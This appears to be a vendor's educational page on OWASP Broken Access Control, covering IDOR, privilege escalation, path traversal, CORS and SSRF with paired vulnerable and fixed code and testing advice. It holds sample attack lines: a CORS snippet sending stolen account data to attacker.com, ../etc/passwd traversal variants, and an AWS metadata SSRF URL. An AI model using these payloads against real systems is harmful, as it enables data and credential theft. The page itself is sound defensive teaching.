A01:2025

Broken Access Control

The most prevalent vulnerability class in modern web applications — and the one that causes the most breaches. Here's what it actually looks like, how attackers exploit it, and how to stop it.

What is broken access control?

Access control is the set of rules that decides who gets to do what. Can this user read that file? Can this API call modify this record? Can a regular user reach the admin endpoint? When those rules are wrong, missing, or enforced only on the client side, you have broken access control.

The concept sounds simple. The reality is that access control logic touches every endpoint, every database query, every file operation — and any single gap is enough. A complex SaaS application with hundreds of API endpoints might have solid auth on 99% of them and a critical IDOR on one route the developer assumed "no one would know about."

OWASP has ranked this #1 in both the 2021 and 2025 editions. In the 2021 data, 94% of applications tested had at least one broken access control finding. The 2025 edition also absorbed SSRF (previously its own category at A10:2021) here, recognizing that server-side request forgery is fundamentally an access control failure — the server is accessing resources it shouldn't be allowed to.

Why it keeps being #1

Authentication is a solved problem. Sessions, JWTs, OAuth — there are battle-tested libraries for all of it. Authorization is not solved. Every application has custom business logic that defines who owns what, who can act on what, what a user's role means in practice. That logic lives in application code, and it's written by hand, tested inconsistently, and often added as an afterthought.

A few structural reasons this stays at the top of the list:

Common types of access control vulnerabilities

Insecure Direct Object Reference (IDOR)

IDOR is the classic. You're logged in as user 1001, and your profile is at /api/users/1001/profile. You change the URL to /api/users/1002/profile. If the server returns the other user's data instead of a 403, that's IDOR.

Real-world example: In 2023, a major Australian health insurer (Medibank) had an attacker exfiltrate 9.7 million customer records in part due to insufficient access controls on internal APIs. The pattern — access a record by ID without verifying ownership — appears in virtually every data breach involving a web application.

IDOR shows up in a lot more places than profile pages:

# Vulnerable: no ownership check
@app.get("/api/orders/{order_id}")
async def get_order(order_id: int, current_user: User = Depends(get_current_user)):
    order = db.query("SELECT * FROM orders WHERE id = $1", order_id)
    return order  # Returns any order, regardless of who owns it

# Fixed: scope by user_id
@app.get("/api/orders/{order_id}")
async def get_order(order_id: int, current_user: User = Depends(get_current_user)):
    order = db.query(
        "SELECT * FROM orders WHERE id = $1 AND user_id = $2",
        order_id, current_user.id
    )
    if not order:
        raise HTTPException(status_code=404)  # 404, not 403 — don't leak existence
    return order

Privilege escalation

Horizontal escalation means accessing another user's resources (that's IDOR). Vertical escalation means accessing functionality above your privilege level — a regular user reaching admin endpoints, a free-tier user calling premium API features, a customer modifying another customer's tenant.

CVE-2023-46747 (F5 BIG-IP) is a good example of vertical privilege escalation at the infrastructure level — unauthenticated users could reach the Traffic Management User Interface and execute arbitrary system commands. But application-level privilege escalation is far more common and rarely makes the CVE database because it's business logic, not a software bug.

Common patterns in the wild:

# Vulnerable: role parameter accepted from user input
@app.post("/api/users/register")
async def register(body: dict):
    # If someone sends {"email": "...", "role": "admin"} in the body, it gets stored
    await db.execute("INSERT INTO users (email, role) VALUES ($1, $2)",
                     body["email"], body.get("role", "user"))

# Fixed: hardcode the role on registration, never trust user input for privilege
@app.post("/api/users/register")
async def register(body: RegisterRequest):
    await db.execute("INSERT INTO users (email, role) VALUES ($1, $2)",
                     body.email, "user")  # Always "user", never from input

Path traversal

When an application uses user-controlled input to build file paths, an attacker can walk the directory tree with sequences like ../../../etc/passwd. This is one of the older vulnerability classes but it keeps appearing in modern applications — especially in file upload handlers, document converters, and log viewers.

CVE-2024-23897 (Jenkins) allowed unauthenticated attackers to read arbitrary files from the Jenkins controller filesystem via path traversal in the CLI, leading to full credential exposure. CVE-2021-41773 (Apache httpd 2.4.49) was a path traversal in the default configuration that let attackers read files outside the web root — patched within days but exploited in the wild within hours of the CVE being published.

# Vulnerable
filename = request.args.get("file")
with open(f"/var/app/uploads/{filename}") as f:
    return f.read()

# Attack: ?file=../../../etc/passwd

# Fixed: canonicalize and validate the path
import os

base_dir = "/var/app/uploads"
filename = request.args.get("file", "")
# Resolve symlinks and relative components
real_path = os.path.realpath(os.path.join(base_dir, filename))

if not real_path.startswith(base_dir):
    abort(403)  # Directory traversal attempt

with open(real_path) as f:
    return f.read()

CORS misconfiguration

Cross-Origin Resource Sharing misconfigurations let malicious websites make authenticated API calls to your application from a victim's browser. The key is the Access-Control-Allow-Credentials: true header combined with a permissive origin policy.

The worst version: an API reflects the Origin header back in Access-Control-Allow-Origin and also sends Access-Control-Allow-Credentials: true. Any website can now make authenticated cross-origin requests using the victim's cookies. Portswigger's research found this pattern on major banks, airlines, and government websites.

# Vulnerable: reflects any origin back with credentials allowed
Access-Control-Allow-Origin: https://attacker.com   ← reflected from request
Access-Control-Allow-Credentials: true

# Attacker's page:
fetch("https://api.bank.com/account/balance", {credentials: "include"})
  .then(r => r.json())
  .then(data => fetch("https://attacker.com/steal?data=" + JSON.stringify(data)));

# Fixed: explicit allowlist only
ALLOWED_ORIGINS = {"https://app.yoursite.com", "https://yoursite.com"}

origin = request.headers.get("Origin")
if origin in ALLOWED_ORIGINS:
    response.headers["Access-Control-Allow-Origin"] = origin
    response.headers["Access-Control-Allow-Credentials"] = "true"
# Never set wildcard (*) with credentials: true — browsers block it anyway,
# but reflected origins bypass this protection entirely

Server-Side Request Forgery (SSRF)

SSRF is now part of the A01 category in 2025. The reason makes sense: SSRF is broken access control at the network layer. The server is making requests on behalf of a user to resources that user shouldn't be able to reach — internal services, cloud metadata endpoints, local filesystems via file:// URIs.

The most famous SSRF exploit: the Capital One breach in 2019. An attacker used SSRF against a misconfigured WAF running on AWS to access the EC2 instance metadata service at http://169.254.169.254/, extract IAM credentials, and download 100 million customer records from S3. The cost: $80 million in regulatory fines and settlements.

SSRF surfaces wherever an application fetches a URL from user input:

# Dangerous: fetch a user-provided URL without validation
def generate_pdf(url):
    response = requests.get(url)  # Attacker sends http://169.254.169.254/latest/meta-data/

# Defense: resolve and validate before fetching
import ipaddress, socket
from urllib.parse import urlparse

BLOCKED_RANGES = [
    ipaddress.ip_network("169.254.0.0/16"),  # AWS metadata
    ipaddress.ip_network("10.0.0.0/8"),       # Private
    ipaddress.ip_network("172.16.0.0/12"),    # Private
    ipaddress.ip_network("192.168.0.0/16"),   # Private
    ipaddress.ip_network("127.0.0.0/8"),      # Loopback
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    if parsed.scheme not in ("http", "https"):
        return False
    try:
        ip = ipaddress.ip_address(socket.gethostbyname(parsed.hostname))
        for blocked in BLOCKED_RANGES:
            if ip in blocked:
                return False
    except Exception:
        return False
    return True

Real-world impact

The 2019 Capital One breach: SSRF + overprivileged IAM role → 100M customer records. $80M in fines.

Optus Australia 2022: unauthenticated API endpoint returned customer PII — no authorization check required. 9.8M customers affected.

T-Mobile 2021: IDOR-class access control flaw allowed unauthorized access to prepaid account management API. 48M records exposed.

Facebook 2018: Access token bug allowed accounts to be taken over via the "View As" feature — effectively a privilege escalation. 50M users affected.

How to test for broken access control

Manual testing approach

Start by mapping the application's object model. What are the main resources? Orders, users, projects, documents, invoices? For each resource type, find the identifier pattern — is it a sequential integer, a UUID, a slug?

Create two accounts (call them A and B). Log in as A, perform actions to create resources. Then, logged in as B, try to access, modify, and delete A's resources using their IDs. This is the core IDOR test and it covers a huge amount of ground. Be methodical — check every endpoint, not just GET requests. PATCH/PUT/DELETE on other users' resources is often overlooked.

For privilege escalation: if the app has roles (admin, manager, user), map out what each role can do. Then test whether lower-privileged roles can call higher-privileged endpoints. Grab API requests from an admin session, replay them authenticated as a regular user. Check if role-related parameters in request bodies are accepted and acted on.

For path traversal: look for any parameter that resembles a filename or path. Try ../, ..%2f, ..%252f (double-encoded), ....//. On Windows targets, try ..\ and ..%5c. Check if responses contain file contents, error messages that reveal paths, or different behavior compared to a benign filename.

For CORS: check the response headers on API endpoints. If you see Access-Control-Allow-Credentials: true, test whether the origin is reflected by sending a custom Origin header with a different domain. If it reflects back, you have a vulnerability.

Using Burp Suite

Burp's Repeater and Intruder make access control testing systematic. Record a request as User A, then use "Match and Replace" to swap in User B's session token. Replay every API call in A's session using B's credentials. Intruder can enumerate IDs automatically — set the ID as the fuzz point, provide a range of numbers, check which responses return 200 with data.

The Autorize extension (free) automates this: it intercepts requests from a high-privileged session, replays them with a low-privileged session's cookies, and flags any that return non-403 responses. Not a replacement for manual testing, but it catches the obvious cases fast.

What automated scanners can catch

Automated scanners are good at path traversal (lots of known payloads to fuzz with), obvious CORS misconfigurations (header analysis), and SSRF vectors in URL parameters. IDOR is harder for automation because you need two accounts and knowledge of what IDs belong to which user.

AI-powered scanners like AISEC do better here — they can reason about object relationships, create test accounts, identify which IDs from one session shouldn't be accessible from another, and test the full chain of privilege escalation scenarios that a rule-based scanner would miss.

How to prevent broken access control

Enforce access control server-side, always

This is the only rule that actually matters. Never trust the client to enforce access control. Hide the button in the UI if you want — but the API endpoint must independently verify that the authenticated user is allowed to perform this action on this resource.

The check needs to happen in the business logic layer, not the routing layer. @require_admin decorators on routes are fine for coarse-grained role checks, but for object-level access (can this user access this specific order?), the check must be inside the query itself or immediately after retrieval.

Deny by default

Allowlists beat denylists. Rather than listing what's forbidden, define what's explicitly permitted. A new endpoint that someone forgets to add access control to should fail closed (403) not fail open (200 with data). This requires building a culture and a framework where authorization is opt-in from the start, not bolted on after.

# Pattern: centralized access control check
class AccessControl:
    @staticmethod
    def can_read(user: User, resource: any) -> bool:
        if user.role == "superadmin":
            return True
        if hasattr(resource, "user_id"):
            return resource.user_id == user.id
        if hasattr(resource, "organization_id"):
            return user.organization_id == resource.organization_id
        return False  # Default: deny

# Usage: every resource access goes through the check
order = db.get_order(order_id)
if not AccessControl.can_read(current_user, order):
    raise HTTPException(status_code=403)

Use non-guessable IDs for sensitive resources

UUIDs v4 don't prevent IDOR — if the server doesn't check ownership, it doesn't matter how random the ID is. But they do reduce automated enumeration risk. For highly sensitive operations (password reset links, document share URLs, export tokens), use cryptographically random tokens with short expiry times stored server-side, not IDs you look up in a table.

Log and monitor access control failures

Every 403 response is potentially an attacker probing your authorization layer. Log them with context: which endpoint, which user, which resource ID they tried to access. Aggregate them. A single user getting 50 403s in a minute is a signal worth alerting on — it might be an IDOR enumeration attempt or a privilege escalation probe.

CORS: use an explicit allowlist

Define exactly which origins are allowed. Never reflect the Origin header value back. Never use Access-Control-Allow-Origin: * together with Access-Control-Allow-Credentials: true (browsers block this, but reflected origins achieve the same effect). For APIs that don't need cross-origin browser access, don't set CORS headers at all.

SSRF: validate and restrict outbound requests

If your application needs to fetch user-provided URLs, resolve the hostname to an IP and validate it against a blocklist of internal ranges before making the request. Use a DNS resolver you control to prevent rebinding attacks (where a hostname resolves to a public IP during validation but to an internal IP during the actual request). On cloud infrastructure, block access to the metadata service at the network level as a defense-in-depth measure.

Regular access control reviews

Access control logic decays over time. Features get added, roles get modified, APIs get extended. Schedule periodic reviews of authorization logic — especially around role boundaries and object ownership. Automated tests that assert "user B cannot access user A's data" are far more reliable than any manual review cadence.

# Automated test example (pytest)
def test_idor_order_access():
    """User B should not be able to access User A's orders."""
    token_a = login("user_a@test.com")
    token_b = login("user_b@test.com")

    # User A creates an order
    r = client.post("/api/orders", json={"item": "test"}, headers={"Authorization": f"Bearer {token_a}"})
    order_id = r.json()["id"]

    # User B tries to access it
    r = client.get(f"/api/orders/{order_id}", headers={"Authorization": f"Bearer {token_b}"})
    assert r.status_code == 404  # Or 403 — should NOT be 200

OWASP 2025: why SSRF moved here

In OWASP 2021, SSRF was A10 — a category on its own. The 2025 edition merged it into A01. The reasoning is clean: SSRF is a server making requests to resources it shouldn't be permitted to access. It's broken access control at the network layer. Treating it separately obscured that the root cause and the defenses are the same as for other access control failures: validate inputs, enforce restrictions server-side, deny by default.

The practical implication is that your access control testing should now explicitly include SSRF vectors — URL parameters, webhook callbacks, any place where your application initiates outbound HTTP requests based on user input.

Test your site for broken access control

Run an automated scan that checks for IDOR, privilege escalation, path traversal, CORS misconfigurations, and SSRF vulnerabilities across your entire application.

Test your site for broken access control